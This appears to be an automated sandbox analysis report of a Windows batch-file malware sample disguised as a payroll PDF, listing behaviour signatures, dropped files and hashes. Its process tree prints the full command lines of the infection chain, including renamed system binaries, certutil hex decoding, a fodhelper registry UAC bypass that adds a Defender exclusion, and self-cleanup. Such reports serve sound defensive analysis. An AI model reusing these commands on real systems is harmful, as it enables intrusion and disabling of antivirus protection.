Analysis

  • max time kernel
    149s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/07/2024, 11:15

General

  • Target
    Payroll for July.PDF.bat
  • Size 4.9MB
  • Sample240728-nc1f5sycpd
  • SHA256 68711195c07e287987488f7045c7147501ccfbae22318b8460d01a86d2f09599
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 28 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:3036
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5064
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:1356
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4712
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
            3⤵
            • Executes dropped EXE
            PID:4864
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4672
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
            3⤵
            • Executes dropped EXE
            PID:3180
        • C:\Users\Public\Libraries\Defux.COM
          C:\Users\Public\Libraries\Defux.COM
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4460
          • C:\Users\Public\Libraries\gspwscdY.pif
            C:\Users\Public\Libraries\gspwscdY.pif
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2968
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3E7B.tmp\3E8C.tmp\3E8D.bat C:\Users\Public\Libraries\gspwscdY.pif"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4076
              • C:\Windows\System32\extrac32.exe
                C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                5⤵
                  PID:4636
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                  5⤵
                  • Executes dropped EXE
                  PID:396
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                  5⤵
                  • Executes dropped EXE
                  PID:4708
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4404
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                      PID:4648
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:2212
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                        PID:1784
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2636
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                          PID:2200
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c start /wait C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3004
                        • C:\Users\Public\xkn.exe
                          C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Modifies system certificate store
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4864
                          • C:\Users\Public\alpha.exe
                            "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:2824
                            • C:\Users\Public\ger.exe
                              C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:2544
                      • C:\Windows \System32\per.exe
                        "C:\\Windows \\System32\\per.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:3236
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        5⤵
                        • Executes dropped EXE
                        PID:3836
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4472
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                        5⤵
                        • Executes dropped EXE
                        PID:4988
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettingsAdminFlows.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3272
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 5
                        5⤵
                        • Executes dropped EXE
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:1252
                        • C:\Windows\system32\PING.EXE
                          ping 127.0.0.1 -n 5
                          6⤵
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:4604
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        5⤵
                        • Executes dropped EXE
                        PID:5044
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        5⤵
                        • Executes dropped EXE
                        PID:4484
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        5⤵
                        • Executes dropped EXE
                        PID:4608
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:1412
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:4556
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:4332
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Defux.COM C:\\Users\\Public\\Libraries\\Ydcswpsg.PIF
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:5032
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\System32\colorcpl.exe
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4636
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2544
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Defux.mpeg" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2176
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:4640

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      3E8D.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\3E7B.tmp\3E8C.tmp\3E8D.bat
                      • Size 1KB
                      • SHA256 cad29a052bcb297f5497d6c1a9d37bd938f9d3d7d75b6645f4221f379cf215ff
                      • MD5 SHA1 SHA512

                      __PSScriptPolicyTest_4jrs32le.ieu.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jrs32le.ieu.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      Defux.mpeg

                      • Path C:\Users\Public\Defux.mpeg
                      • Size 3.4MB
                      • SHA256 7af8dff6d15de6862d34cba46e7705275a5a07ac9bf6303f9ec917ff8811e3a7
                      • MD5 SHA1 SHA512 SSDEEP

                      Defux.COM

                      • Path C:\Users\Public\Libraries\Defux.COM
                      • Size 984KB
                      • SHA256 0bde51c2efedcc1dc13504c70a1856f6bfb904c54b9a23b87d8aad5eda6e238f
                      • MD5 SHA1 SHA512 SSDEEP

                      gspwscdY.pif

                      • Path C:\Users\Public\Libraries\gspwscdY.pif
                      • Size 66KB
                      • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                      • MD5 SHA1 SHA512 SSDEEP

                      alpha.exe

                      • Path C:\Users\Public\alpha.exe
                      • Size 283KB
                      • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                      • MD5 SHA1 SHA512 SSDEEP

                      ger.exe

                      • Path C:\Users\Public\ger.exe
                      • Size 75KB
                      • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                      • MD5 SHA1 SHA512 SSDEEP

                      kn.exe

                      • Path C:\Users\Public\kn.exe
                      • Size 1.6MB
                      • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                      • MD5 SHA1 SHA512 SSDEEP

                      xkn.exe

                      • Path C:\Users\Public\xkn.exe
                      • Size 442KB
                      • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                      • MD5 SHA1 SHA512 SSDEEP

                      per.exe

                      • Path C:\Windows \System32\per.exe
                      • Size 48KB
                      • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/2968-35-0x0000000000400000-0x0000000001400000-memory.dmp

                      memory/2968-38-0x0000000000400000-0x0000000001400000-memory.dmp

                      memory/2968-104-0x0000000000400000-0x0000000001400000-memory.dmp

                      memory/2968-95-0x0000000000400000-0x000000000041A000-memory.dmp

                      memory/2968-32-0x0000000000400000-0x0000000001400000-memory.dmp

                      memory/2968-37-0x0000000000400000-0x000000000041A000-memory.dmp

                      memory/4460-28-0x0000000000400000-0x0000000000500000-memory.dmp

                      memory/4864-67-0x0000012B693B0000-0x0000012B693D2000-memory.dmp